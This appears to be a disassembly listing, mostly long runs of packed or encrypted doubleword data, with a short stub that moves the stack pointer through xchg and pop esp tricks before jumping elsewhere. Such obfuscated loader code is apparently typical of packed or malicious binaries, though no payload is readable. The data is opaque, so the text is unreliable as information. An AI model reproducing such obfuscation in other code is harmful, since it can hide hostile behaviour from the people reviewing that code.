		dd 12E8FA61h, 57000000h, 95675126h, 9E64818h, 0F717BCA3h
		dd 52BB6052h, 0A18D293Ch, 58063709h, 2DDDBD8Bh,	0C0810637h
		dd 634Fh, 14E8h, 0CA744B00h, 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh
		dd 132D0011h, 6E9A8h, 957C0000h, 42E87F2Fh, 685Fh, 81660000h
		dd 5E824EE7h, 1AB99D23h, 148B0637h, 6870F30h, 89000000h
		dd 37179D9Dh, 0D3EA8106h, 894D4778h, 371279BDh,	0E1C28106h
		dd 0F2FA633h, 682h, 0DDBD8B00h,	8106372Ah, 1ACEF2C2h, 58D8B52h
		dd 52063723h, 8F5FF853h, 0B5893004h, 6370981h, 0EE83CE8Bh
		dd 0EE904h, 954A0000h, 996FB8Dh, 173FF3h, 3FB884F3h, 9D78FE81h
		dd 850FFFFFh, 0FFFFFF96h, 61F3C381h, 14E80671h,	84000000h
		dd 233A2194h, 98CF0631h, 0D88F5594h, 2F78D56Ch,	58BFC218h
		dd 81EACB80h, 5E27C0h, 7DBD2900h, 6806372Eh, 1761h, 929950Bh
		dd 665F0637h, 233BCB81h, 0F8BA30FFh, 5E3DA738h,	0D5D9589h
		dd 0C6810637h, 19B92A06h, 8E18D33h, 0F6810637h,	640D44CFh
		dd 0EE8133B7h, 332DE98h, 0F619D8Bh, 30890637h, 1D860Fh
		dd 8D0F0000h, 17h, 11E8h, 92122100h, 0DA5D4C54h, 0DADE46E9h
		dd 0E651F72Ch, 83594CB0h, 0BD8903E8h, 6372039h,	0B5B50148h
		dd 81063731h, 1EFh, 91850F00h, 80FFFFFFh, 8D8D62F7h, 63D714Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F4C35545h
		dd 0BD894DBEh, 63713C1h, 18758D89h, 6A0637h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7D4D37C3h
		dd 2DA7C15Dh, 0E8808C60h, 9585C7C0h, 30063711h,	60000068h
		dd 29E18D8Bh, 0F98B0637h, 8185C761h, 6370Fh, 8B000000h
		dd 3709059Dh, 39B5FF06h, 0F906371Ch, 129195FFh,	6A0637h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 57412CC3h, 0A36491CAh, 0B5032369h, 6370905h,	12098D89h
		dd 6A0637h, 321995FFh, 0C08B0637h, 0D11F7FEBh, 6BFD3188h
		dd 0EF89B81Eh, 0C29228A9h, 85EC3681h, 198A1479h, 0B03CAF25h
		dd 0B0CC67C2h, 207BCDB2h, 909CE2E3h, 6C58B897h,	234A3755h
		dd 91BC8581h, 81D0E5C6h, 6F58C134h, 5142B8D1h, 39A48E8Bh
		dd 1FA045BCh, 0C78AA236h, 9D10EB21h, 233B6Eh, 0C425AC0Fh
		dd 947DFA9Dh, 67125478h, 0DB67E79Ch, 0C32F6977h, 0E5973316h
		dd 26786617h, 1BB755ECh, 0AA0B8CA9h, 0A8D2A15Ah, 1D149AA7h
		dd 4A04EBB9h, 0E9007FE7h, 528h,	0BEB3E84h, 0D8B80150h
		dd 0AB8BD01Dh, 7A5A9FF0h, 4A2A6DBFh, 0C315A19Fh, 9AE5A080h
		dd 66B67151h, 38843F1Fh, 0A78D11F1h, 1EBDBE8Ch,	0C002DE7h
		dd 3CA115Dh, 0B496B103h, 37E123CCh, 6FC1E611h, 0C70C59h
		dd 0CCE5E500h, 6086E123h, 80D2F028h, 23CC6565h,	0B5E006E1h
		dd 6DB400BBh, 406DB9A6h, 23CC2525h, 95A0C6E1h, 1D37FE45h
		dd 5078C7E5h, 5AFA4963h, 0DC7D1D43h, 5A92FABAh,	0FF4E4E2Fh
		dd 3FFDDD04h, 81A6D100h, 7422E932h, 0D21E7A98h,	35BFCCA8h
		dd 0D008C0F4h, 9EE535F0h, 6CB303BEh, 246DB8A5h,	0C3E1A15Dh
		dd 0B2D01767h, 18DF2873h, 85C5E0FEh, 66E123CFh,	601B1540h
		dd 3D06CD14h, 0E123CF70h, 96D7F5CFh, 36288F9Bh,	60E5h
		dd 115DB300h, 6E3A03CAh, 0C9E123CCh, 0A190D1EFh, 0DF36288Ch
		dd 0Bh,	0BD005291h, 561D60B2h, 5DF5113Ch, 60A5F20Eh, 7E0BBF45h
		dd 9417DADh, 155CACEBh,	2809344Eh, 0DCA3EC3Bh, 92599EEFh
		dd 7BEA08E4h, 0E2A9F03Ch, 29789DC8h, 0F94500E0h, 0E5AF6CCFh
		dd 0E51D8C43h, 0A8F83705h, 55809A61h, 0C80B5D39h, 0A9C51401h
		dd 95D63058h, 8B3E512Bh, 3A728C53h, 0BEDCD273h,	0EDCD1062h
		dd 0D89FE632h, 3E769EEBh, 212EDF3Dh, 1A07CE06h,	0D1BE85C8h
		dd 80753C7Fh, 588B1432h, 56EB2C4Ah, 2C36292Ch, 2D589BEDh
		dd 6BF3h, 1466A500h, 0C5F00AD1h, 0C80B5DA9h, 82C71401h
		dd 13310DBBh, 42265B7h,	0FD161CB5h, 0E20D6473h,	98DB2DE8h
		dd 4E93E4D1h, 74E9A87h,	0BC035340h, 84D0DBF5h, 0C7F35E5Ah
		dd 91C93A13h, 2E4C10CAh, 466472A5h, 29383C05h, 434436h
		dd 5D120000h, 1401C80Bh, 135AAAC4h, 33FA324Ch, 76D2F03Eh
		dd 77BE0E24h, 398B96B0h, 2CDEBEF6h, 0FEC50E5Dh,	23CC6835h
		dd 0CFEDC7E1h, 0B52D1160h, 0D69DE434h, 1F76A1BCh, 141D2752h
		dd 6C36294Ch, 1, 0CB105D3Ah, 84CB1704h,	234101BDh, 55357AC7h
		dd 1C3A1064h, 0DEB76FCDh, 18437CEFh, 8E04C5E0h,	0C1E7E75Ah
		dd 143651A3h, 0D7E71497h, 0B8A586B1h, 0B507256Ch, 1497B09Ah
		dd 0E20D33E7h, 9AE12DE8h, 97BE0AD3h, 0E5BE714h,	0CA1502C9h
		dd 7CCDBA81h, 0B8D62437h, 0B0CE1C2Fh, 0E1C10854h, 0A4A6C113h
		dd 47E71497h, 85D1F621h, 2577773Eh, 1497C00Ah, 7C97A3E7h
		dd 0E714974Eh, 94BFF71Dh, 0BEDC236Fh, 0CCE7307Fh, 3B327ED9h
		dd 0AB8CB79Ch, 9AF6140Ah, 8727074Eh, 3C5FE3AAh,	0ABDA89D8h
		dd 0B41028A3h, 1F4F7B96h, 0F61CE714h, 13791CBh,	275F0000h
		dd 0C4DFFDD3h, 0E75AFAA3h, 0B5F41238h, 6F5C2368h, 0F812D91Eh
		dd 1D66B5C0h, 30113C56h, 0D0B0F743h, 0BB82C915h, 743B82CEh
		dd 63BFDDD3h, 50F0D017h, 3C5FBAE1h, 549Fh, 0DE276D00h
		dd 5190E200h, 0D9F3BA01h, 0CCAAA0BBh, 1339E123h, 0CD33E7E8h
		dd 0A30E123h, 0CC507A43h, 1EFCE123h, 81488FDFh,	1E3C67h
		dd 26243F91h, 7BE123CCh, 127E82Fh, 9C63AAF6h, 0B3FC5782h
		dd 0A66DB002h, 1B36548Ch, 0E123CDFFh, 29E6C6ECh, 0A9h
		dd 0FDD327D1h, 5B3E8DDFh, 8419D4F1h, 0CCB9BAE5h, 0F7E75ADBh
		dd 0D11D0AD1h, 0A3EFAA8Ah, 85CC955Ch, 94E714E5h, 0E72FDD2Ch
		dd 0D49BE22Eh, 74379FBAh, 0A6C4E20Dh, 99B7FE4Ah, 9CC70E5Ah
		dd 0F785D4A2h, 724FC6B8h, 6E9076B0h, 75ABA753h,	0C59BEF4Ah
		dd 23F28CA7h, 0F9E156h,	6B326AAFh, 0C5E12C6Bh, 0CEF9317Ah
		dd 0F8165DA9h, 243F6EB9h, 0E129A026h, 3C679FC5h, 73C59F5Bh
		dd 0BAA1E834h, 0E129A090h, 0E4022D53h, 0AE034C6h, 52B5D1ECh
		dd 98BEE76Bh, 5998EAB8h, 0E2FCC308h, 14D1CFFBh,	75909CE7h
		dd 0E714D155h, 8DB8F016h, 0FDD32771h, 3ECAC4DFh, 0EB11E761h
		dd 0D1EB3724h, 25053D86h, 10D71E6Ah, 5B2CD347h,	5F7BC6E1h
		dd 0C990C80Fh, 834A8FDCh, 60E907C7h, 3E9AB894h,	10CBABF2h
		dd 4258AAC4h, 0AB72AAF3h, 95DC64AEh, 0ADE58C1Bh, 0CB185775h
		dd 0F1C2BF86h, 4A212A48h, 795A85BDh, 2FF63B8Ch,	3995B373h
		dd 0BC6A6EDh, 0D56A5BFh, 0C50E5946h, 0E837558Dh, 655E24A5h
		dd 0AD8EB974h, 3BEh, 36286600h,	0FDC4175Dh, 0B67DC410h
		dd 6B3279C9h, 23EA337Eh, 0DAA1E436h, 91589BEDh,	470E53A4h
		dd 1C80D5Ah, 0B57CC514h, 0E18951C3h, 5D41B850h,	0D0F72A1Eh
		dd 3662650Dh, 0E2FB2D5Fh, 0C101DFF7h, 4E98358h,	5C240C87h
		dd 172E68h, 24348900h, 787868h,	241C8900h, 4C86BB53h, 53BE5135h
		dd 1B50825h, 241C8BDEh,	8104C483h, 4ECh, 24248900h, 4240483h
		dd 0F589555Bh, 8B086B89h, 0C481242Ch, 4
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		db 88h,	34h, 0FEh
		dd 94C55664h, 860D9980h, 3D7666B8h, 0FFC50306h,	0B6B750E0h
		dd 63745D72h, 0D886B620h, 8BBC2770h, 87D59B03h,	0D18D8D5Fh
		dd 6A063D77h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0E889C352h, 0EFED6ABCh, 18758D89h
		dd 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 62F880C3h, 0E9CA1F04h, 6,	4AE8B7ACh, 85C7A2FEh
		dd 6371195h, 6D4Ch, 0F8185C7h, 637h, 13E80000h,	86000000h
		dd 9E05D2ACh, 74723EA0h, 0F341793h, 9F70A090h, 26BFD6D7h
		dd 5B156136h, 2961B5FFh, 8E0F0637h, 6, 0F61EB81h, 95FF4144h
		dd 6371291h, 8B4DDE80h,	3731D99Dh, 0FF006A06h, 37321995h
		dd 0EBC08B06h, 1B71862Eh, 0DD39B753h, 1F48A7B6h, 41868D2Eh
		dd 12D2D3E9h, 380BEA25h, 0B0B7043Ah, 4750A477h,	7C0383D9h
		dd 3C7CC2EFh, 8C63404Fh, 0E8F76425h, 0Eh, 1D8B3E4Bh, 0D460E516h
		dd 0B782B194h, 820F4D6Eh, 8, 399D8B53h,	5F06372Bh, 9589605Eh
		dd 637067Dh, 0D94AB966h, 25C68161h, 8B000060h, 370CC9BDh
		dd 8852BA06h, 0EA811D76h, 1D767084h, 0FFDE8B66h, 14E936h
		dd 16B90000h, 996E4B99h, 0E40A56B3h, 7401B29Ch,	5DB9B478h
		dd 15865E5h, 37049DBDh,	33F08106h, 8159B2E7h, 1322D0C0h
		dd 29F38177h, 817C9880h, 0E206AFC0h, 68E0F1Dh, 23000000h
		dd 3701419Dh, 85895006h, 6370571h, 8D8B068Fh, 637017Dh
		dd 0F04EE83h, 128Ah, 0E1816000h, 2F79692Eh, 5E9h, 0F8F5A800h
		dd 81614201h, 1EAh, 15850F00h, 66000000h, 0CCC1C381h, 28E9h
		dd 4C47CD00h, 0CCE1B46h, 0B99BC994h, 223DBD8Bh,	64E90637h
		dd 14FFFFFFh, 0A633F7CEh, 416DBFEBh, 99EE8D86h,	0ABCE8033h
		dd 0DE83Eh, 46860000h, 0D3A2C92Dh, 0F0F3ACBDh, 0BE57ABAh
		dd 371AA995h, 8D8B5B06h, 6370435h, 70ECC381h, 0DE90000h
		dd 34000000h, 5B968DBEh, 56DFFA47h, 5274739Eh, 1C0868h
		dd 2800F00h, 0B6000000h, 8D8B5F08h, 6372895h, 0E08133FFh
		dd 6F5C520Ah, 6860F5Eh,	89000000h, 3718B5B5h, 3CEE8106h
		dd 108E43Ah, 370DA1BDh,	90EE8106h, 814068FDh, 658FA0E8h
		dd 0F7C68172h, 80133C1Eh, 3389F4E1h, 0E63C71B9h, 4EB8341h
		dd 1C850F4Fh, 89000000h, 370A1195h, 38E906h, 66020000h
		dd 68030F3Dh, 0D32DC097h, 8F775196h, 0E9252DEAh, 13h, 564C3747h
		dd 653B587Dh, 42EFFC42h, 952D5A2Eh, 0E98C7396h,	0FFFFFF80h
		dd 0BCE37A70h, 99D02DD7h, 8D8DC3FDh, 63D7AC4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 6BC35040h, 58BF30F1h
		dd 890FCF0Dh, 4, 0D3F3BF66h, 18758D89h,	9D8B0637h, 6371D61h
		dd 119585C7h, 62580637h, 858B0000h, 6372E75h, 0F8185C7h
		dd 637h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 160424h, 52420000h, 981805C3h, 11BD8B57h, 5E063713h
		dd 2025B5FFh, 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0EC52CBC3h, 17CA55E1h, 895297E5h
		dd 37181585h, 95FF5E06h, 6371291h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 33C35242h, 0B89965E0h, 94684AFAh
		dd 81666065h, 0F9DC4C2h, 687h, 15BD0B00h, 61063707h, 95FF006Ah
		dd 6373219h, 3AEBC08Bh,	0AB729F25h, 0B6E514E2h,	42E4703Fh
		dd 0CCA2D8C5h, 0FBCA611Dh, 1F91A7C5h, 22499CF1h, 0C8E10984h
		dd 0D5E69C58h, 95D43F3Ah, 0F09F7377h, 0C29D5CB6h, 3294BD2h
		dd 68ED2D62h, 8D8D03D1h, 63D7BDEh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 86C35545h, 758D89ABh, 89063718h
		dd 372E999Dh, 6830F06h,	1000000h, 372E4195h, 9585C706h
		dd 38063711h, 6A000071h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 1E56C356h, 0E081C9BDh
		dd 352E23ABh, 1B4D9D89h, 85C70637h, 6370F81h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B5C35141h
		dd 0B771AC9h, 370A5595h, 9DB5FF06h, 6A063730h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0F850C352h, 0B86619D2h, 95FF4221h, 6371291h,	32BD9589h
		dd 6A0637h, 321995FFh, 0C08B0637h, 2B167EEBh, 0D1AB17D0h
		dd 9D3384FCh, 0DB48D3DFh, 6BC0E5B6h, 0CA423373h, 746C491Eh
		dd 336CEA5h, 0BF685B01h, 2144F340h, 0F9CFED4Ah,	0E1D9D5CFh
		dd 0DB3E9B78h, 0B839E81Ch, 0E11BAF9Ah, 0D8DCF92Ah, 62939133h
		dd 0BD27789Dh, 118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch
		dd 7ECC95C3h, 0BEA18EFEh, 0B58580D0h, 8044A4EBh, 12C2CE9h
		dd 46B41F2Eh, 67B0C733h, 799AEA8Ah, 0F92DB6B3h,	0B95DA55Dh
		dd 7D318D8Dh, 6A063Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 600535C3h, 7A5BD8Bh, 85890637h
		dd 637018Dh, 758D8961h,	66063718h, 85C7D18Bh, 6371195h
		dd 6100h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0ECC35343h, 2F3BAA72h, 3DF28085h, 0F8185C7h, 637h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0F41A34C3h, 3D7CF98Ah, 2025B5FFh,	6A0637h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 21D710C3h, 4902519Bh, 9195FF98h, 81063712h, 7A96B7F0h
		dd 0FF006A0Fh, 37321995h, 0EBC08B06h, 9765BE3Ah, 67A41C37h
		dd 0BA6760CEh, 1D5FA5E7h, 967BEB82h, 0C3C0CD89h, 0CBB28E71h
		dd 1B9E2E9Eh, 0F7182AE6h, 14D9EECDh, 8543E2Ah, 0E7FE09EBh
		dd 2C3A90A9h, 0C39D0F57h, 0E88AC43Ch, 11h, 34FF5483h, 0B2C715D7h
		dd 4463380Ah, 1DDC6C11h, 11E971h, 0B6540000h, 0B06DFC88h
		dd 270F81CDh, 417F9EAAh, 5992BBA0h, 809BD8Bh, 0C1810637h
		dd 5C33h, 8EDB52Bh, 0DB330637h,	9810Fh,	89600000h, 371FFDB5h
		dd 0FF61F806h, 7E90B34h, 91000000h, 0C563C7ACh,	15AD29Fh
		dd 370DA19Dh, 42EA8106h, 0F4FD244h, 0EA81F6BFh,	7C28B10Eh
		dd 0F281C68Bh, 6882EC4Fh, 0C72BF081h, 8B526C21h, 371D85B5h
		dd 19048F06h, 2211858Bh, 0EB830637h, 6850F04h, 81000000h
		dd 7CEBFCC8h, 78FB8159h, 0FFFFFA4h, 0FFFFA285h,	85B58BFFh
		dd 0E8063712h, 0Bh, 0D2AC862Eh,	3EA09E05h, 0F937472h, 683h
		dd 0D1CF8100h, 587C514Fh, 8159F550h, 7225C0h, 5FCE8000h
		dd 68h,	5E800h,	0C2E30000h, 0B2F9AFE8h,	0BF5E5919h, 41E591B5h
		dd 8B0634FFh, 37301995h, 8B665B06h, 0BFF381FAh,	8B50729Eh
		dd 37207D8Dh, 0D0EB8106h, 0F4F6BC6h, 68Bh, 9D9D8900h, 81063701h
		dd 2172DBC3h, 0D4D78122h, 896C02EBh, 0EE9301Ch,	6B000000h
		dd 0CF9E3AAAh, 0AD4039A0h, 13571085h, 8B6053DAh, 0C58529D3h
		dd 6106370Bh, 3EE8359h,	68F0Fh,	8D8B0000h, 6372179h, 815A524Eh
		dd 0FF8E90FEh, 89850FFFh, 89FFFFFFh, 3701859Dh,	568D8D06h
		dd 6A063D7Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 1B0C356h, 0EF721BCAh, 8D89B498h
		dd 6371875h, 0C779EE80h, 37119585h, 67A406h, 6800F00h
		dd 8B000000h, 370009BDh, 8185C706h, 6370Fh, 0F5000000h
		dd 0FFC6BF0Fh, 372DE1B5h, 91B58B06h, 0FF06372Ah, 37129195h
		dd 0D2816606h, 6A497Eh,	321995FFh, 0C08B0637h, 2E3C09EBh
		dd 0EDFDEB2Ch, 0E8831778h, 0Dh,	0A9896A00h, 0EAAC3E32h
		dd 0CEA425CCh, 3D952947h, 5F06372Ah, 8090B6BAh,	0C8C78107h
		dd 8900005Dh, 3704D98Dh, 8BC02B06h, 3705B995h, 70C8B06h
		dd 13E9h, 0F39ED600h, 0BAB2974Ah, 6BE33704h, 7DAFCC14h
		dd 0E43A18F7h, 0C3BC181h, 85896F8Fh, 6372969h, 0E5EFF181h
		dd 0BD892AADh, 6370A2Dh, 0ED4BE981h, 8B660328h,	895351D8h
		dd 371265BDh, 48F5E06h,	60FE8A07h, 1A398589h, 66570637h
		dd 0FBCBD181h, 0E883615Bh, 81D08B04h, 0FFA2CCF8h, 96850FFFh
		dd 0F8FFFFFFh, 0EE8h, 357C3100h, 799C010Ah, 0C0999D9Dh
		dd 1F7161Fh, 371E9195h,	0C0815806h, 70CEh, 2DF59D29h, 0FCBE0637h
		dd 8B00001Bh, 0CE818h, 634A0000h, 0F1D3369Eh, 2629B4E8h
		dd 14E9FFC3h, 94000000h, 0A1129692h, 6236DF1Ah,	0A82CA5E2h
		dd 0DE506571h, 5F3180BCh, 5FAAEB81h, 81F52B4Ch,	2AFA0DF3h
		dd 0F98D8B2Bh, 8106371Ah, 0DCD999F3h, 5311B17Ch, 0E9F88B60h
		dd 10h,	0F295E1ACh, 0F0116048h,	5EA9CDE8h, 77E4C385h, 81008F61h
		dd 95AA0CE8h, 8C0810Bh,	660B95AAh, 8307BDBAh, 850F01EEh
		dd 23h,	7E9h, 0A40B5600h, 7A6346E4h, 2EE9h, 686EB800h
		dd 977ABC58h, 5B7821A2h, 67D38CD1h, 89963DB7h, 3709FD8Dh
		dd 0FF55E906h, 0E909FFFFh, 0E00EAD2Bh, 28362576h, 0E5F9E599h
		dd 82B34E19h, 889A075h,	0DC781469h, 670B8DA6h, 2E863612h
		dd 908635A1h, 4813D925h, 99053025h, 14B129CCh, 81023F25h
		dd 7863025h, 75991198h,	0A5893023h, 9086305Eh, 6A3FB5E3h
		dd 0CCC83612h, 12863021h, 0A1C4E765h, 0A0C2BB75h, 0CB86BB21h
		dd 79821461h, 896F85DAh, 0CD0B3612h, 22BC422Fh,	0E20DE0DAh
		dd 2B3FB5E3h, 0ECC83612h, 0DE4E41FAh, 40A234A4h, 6F8D4A40h
		dd 7F991190h, 2E03BD23h, 0ED800A57h, 0B07EBBF5h, 84863035h
		dd 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch,	0DB79C0A0h
		dd 128BD9DAh, 940B3025h, 82B17E0Eh, 4286359Dh, 0AC65CF25h
		dd 0AD06D898h, 0E60BBD23h, 9C800DA4h, 94B61537h, 8247FF0Eh
		dd 889A075h, 0DC781469h, 670B8DA6h, 2E863612h, 908635A1h
		dd 4813D925h, 99053025h, 5E983CCh, 22B9A4F3h, 0E8000000h
		dd 11h,	9E4B693Bh, 6A9FCDAEh, 12D8158Eh, 993C6663h, 859D2901h
		dd 5B063711h, 68C0Fh, 95310000h, 637202Dh, 6512C381h, 958B0000h
		dd 6370B15h, 348BC02Bh,	26F68103h, 8B3A5113h, 370C098Dh
		dd 0C0F68106h, 8B36942Bh, 3708BDBDh, 0E2EE8106h, 0F857219Bh
		dd 48FFC56h, 81D08B03h,	0FC044DE9h, 1E88360h, 0B7F18057h
		dd 4848485Ah, 3810F50h,	0F000000h, 815FD2B7h, 0FF9B70F8h
		dd 0AF850FFFh, 66FFFFFFh, 8D8DFA8Bh, 63D830Bh, 7D958B60h
		dd 0F063706h, 8961DABFh, 3718758Dh, 0D8816606h,	85C7C01Fh
		dd 6371195h, 7278h, 0FC7BF0Fh, 0E8Eh, 890F6000h, 0
		dd 13359503h, 0C7610637h, 370F8185h, 6,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 8CAACDFBh, 719D33C2h, 0FF06371Dh, 371BA5B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 91FB8687h, 0BB62790Bh, 0DF816654h, 95FFE701h, 6371291h
		dd 6AD38B66h, 1995FF00h, 8B063732h, 9F29EBC0h, 90BA66B9h
		dd 4A2F3AE5h, 4138D80Bh, 0F6804BABh, 0AE556D4Bh, 5AC7AD5Ah
		dd 29E6689Ch, 0FA1ABA90h, 0FF1CE034h, 83B1F70Ch, 0F20004EBh
		dd 16E9601Eh, 19000008h, 0E5A080D3h, 0B26D4D96h, 85402065h
		dd 540FEF34h, 34DFBF02h, 1558AA4Ch, 0E62F7A35h,	0B4FB4B06h
		dd 86CD19D4h, 213C22A6h, 0E71E4F29h, 3E7D8DBAh,	4184D6ECh
		dd 0D28607Ah, 7BF52904h, 0BEDA050Eh, 23CC3481h,	5F89D5E1h
		dd 6FE9AD70h, 0E1C1F9ABh, 0A8C69CF0h, 0AFC51756h, 39531A5Dh
		dd 0FB4D3A01h, 9FD7F1B8h, 0CA267374h, 1F45E75Ah, 0D6196B58h
		dd 99E928F6h, 53718B52h, 14D91238h, 80ABD1E7h, 1C80F5Bh
		dd 2B72C201h, 488FDB00h, 0CCEAE081h, 0BCFA2470h, 0BDDE657Bh
		dd 0CA6A4A82h, 3C5FE167h, 7719h, 0B5DE700h, 1C6BAAC8h
		dd 0DAC7A8D3h, 0E8274588h, 738D549Dh, 0CC103A55h, 0ADD3E123h
		dd 0A00A182h, 0ED3E7DECh, 0B4388D5h, 2669BBE0h,	3477C908h
		dd 6691DA29h, 8865CC6Ch, 391B3628h, 0E9000000h,	1C80B5Dh
		dd 5037B201h, 52F99AD0h, 60592627h, 0D3A5E123h,	60646681h
		dd 0E07E123h, 164179BCh, 2C6BDAF8h, 2E73C4DAh, 4E154D67h
		dd 92E40934h, 24B26F4Fh, 5A000000h, 1C80B5Dh, 23CC6C38h
		dd 193785E1h, 48286BBDh, 3D0D287Ah, 0AEE123CCh,	0CC4387A2h
		dd 0FA20E123h, 277B97C2h, 0C4DFFDD3h, 0E75AD6ABh, 9FE83730h
		dd 6886BED8h, 4285D716h, 507A617Bh, 13E714C6h, 0F4E1C2EDh
		dd 0C78262A7h, 4B6E357Ah, 0E80321F7h, 0E16DEC07h, 5A74C0FFh
		dd 0E3FDC409h, 9FCAE4ABh, 347BCBC4h, 9F7935FCh,	0F95F0050h
		dd 1732D056h, 0DB33DCEh, 86A4CF13h, 0A7BF0C68h,	304A1156h
		dd 105D18F8h, 9E65ACF8h, 0BC854C84h, 0E123789Eh, 0C8095836h
		dd 0F8CFB113h, 0A6BA7A46h, 0B19CFB8Bh, 0EE4A6886h, 0CA7C5CA1h
		dd 0E301DF27h, 0CC547691h, 0F117E123h, 0BDA1AAC6h, 0C8CA115Dh
		dd 0C978D688h, 0B7392880h, 3Ah,	0C00B4A85h, 0A9F14C77h
		dd 1D6EADCBh, 0D9F711D8h, 23CC8CBEh, 0E395FE1h,	0B9F84AF2h
		dd 0BF02546Ch, 7BA6DEF8h, 23CC507Ah, 0EBED13E1h, 105D144Ah
		dd 0BF9FC9CBh, 2B5Bh, 0DF270300h, 2F4AFF01h, 0E123CC1Bh
		dd 4AA3A5C5h, 5BFB4A14h, 78044E41h, 3B88ADD8h, 0B4AF4F6h
		dd 0C0AD74BBh, 4C662D74h, 2606E914h, 0ACCA115Dh, 0AED9226Dh
		dd 428ECDCDh, 0EF1A34FBh, 284E32EEh, 589FEFE1h,	1158A491h
		dd 0E907554Ah, 9AB89460h, 8DABF23Eh, 0AEDE7D3Eh, 1A458CA9h
		dd 0D0136520h, 87CA1C09h, 0B291FC0h, 3A1A5DAFh,	2CCB979Ah
		dd 61ACEB36h, 56B3ED18h, 65000000h, 87D2F813h, 6B91E127h
		dd 115D2440h, 115DACCAh, 50430811h, 0EC0FF01Bh,	55A4C298h
		dd 0A951DDE8h, 20588321h, 24797FCEh, 0BC175730h, 455F266Bh
		dd 2308F20Dh, 517AB701h, 64A82526h, 3A33E75Ah, 5270A8EDh
		dd 54A26503h, 2853058Bh, 9FBD9947h, 0D0B0F743h,	0CA115D1Eh
		dd 0B68CE003h, 0EF547D98h, 0F117E75Ah, 0FF4294D3h, 2728DAD4h
		dd 91E301DFh, 23CC5476h, 0E6F117E1h, 0B27529Bh,	115DBDA1h
		dd 0D688C8CAh, 2880C978h, 2DB739h, 27850000h, 52881EDFh
		dd 0D8D43C81h, 2F4A9EA0h, 0E123CC1Bh, 0CCFE196Bh, 9FE123CCh
		dd 4D734E79h, 5D144A4Bh, 9FC9CB10h, 315BBFh, 27030000h
		dd 4AFF01DFh, 23CC1B2Fh, 0FE196BE1h, 0E123CCCCh, 2C30855h
		dd 0B3D3B1DCh, 0A9F84AB1h, 153D17C4h, 0A0BCE7DFh, 0C9CB105Dh
		dd 79BE0B4Ah, 5D8B6B4Eh, 303CA11h, 5447A7B4h, 0B7E2FC1Ah
		dd 28F17AB6h, 7C9A76E1h, 6F8DD420h, 0F2C8021Dh,	0A29BE127h
		dd 2D470E57h, 15D0CAF5h, 0CCB980C3h, 0CF70377Ah, 0D5FBBD9h
		dd 0E74AEACAh, 99362CCAh, 4Eh, 0A2BC0C4Bh, 0ED50D50h, 5DADC9F4h
		dd 0E003CA11h, 95B5D08Ch, 56E123CCh, 0D3F71230h, 90E123CCh
		dd 0F914326Ah, 0E75AE48Ch, 1CCA91B7h, 7AC62240h, 0EAE0FB4Dh
		dd 79E714DBh, 0DB5E6C53h, 140DE714h, 2B4981C8h,	14DB3A10h
		dd 4B83A9E7h, 115DB96Bh, 0C2413FE7h, 0ED3E19F5h, 713870A8h
		dd 9CE13271h, 3590BBD5h, 0D2ED0BE1h, 0E75A5779h, 0B6FF4E8Dh
		dd 0F6D4EFEFh, 75E71448h, 0DCFC174Fh, 0FA8DCDCFh, 3359345Fh
		dd 18338553h, 0E7147532h, 44608BB1h, 0FF01DF27h, 74BB0B4Ah
		dd 876893ADh, 0E3FB4887h, 708A5196h, 56717138h,	0E123CC74h
		dd 6E99D1F7h, 0E7115D52h, 0A261E598h, 728D9B59h, 0BFFD2F7Ch
		dd 4A4D4F87h, 0CCEDDDF8h, 587EE123h, 7881332Dh,	392880C9h
		dd 0E32A7AB9h, 307EB8h,	274C0000h, 4AFF01DFh, 241AA9F8h
		dd 0C41118E3h, 2318EDDDh, 2D587EE1h, 18F0DAF5h,	7A73E123h
		dd 0ADAFE72Eh, 105D144Ah, 0BF9FC9CBh, 3A5Bh, 0DF270300h
		dd 2F4AFF01h, 0E123CC1Bh, 4AA3A5C5h, 0BA0B4A14h, 0D21B6A75h
		dd 0F03582A7h, 0AD2483D2h, 0CC93D825h, 6D2B97B2h, 23CFD6F1h
		dd 9ECED30h, 0A39FC2DEh, 5CC1564h, 5DA4C0EBh, 3A03CA11h
		dd 0E1284EFEh, 5D246BBBh, 16DD2470h, 0E56E8C68h, 0B01F3D19h
		dd 4D07435Eh, 0BEE4E127h, 8226E93h, 5B3B73B6h, 460D54A0h
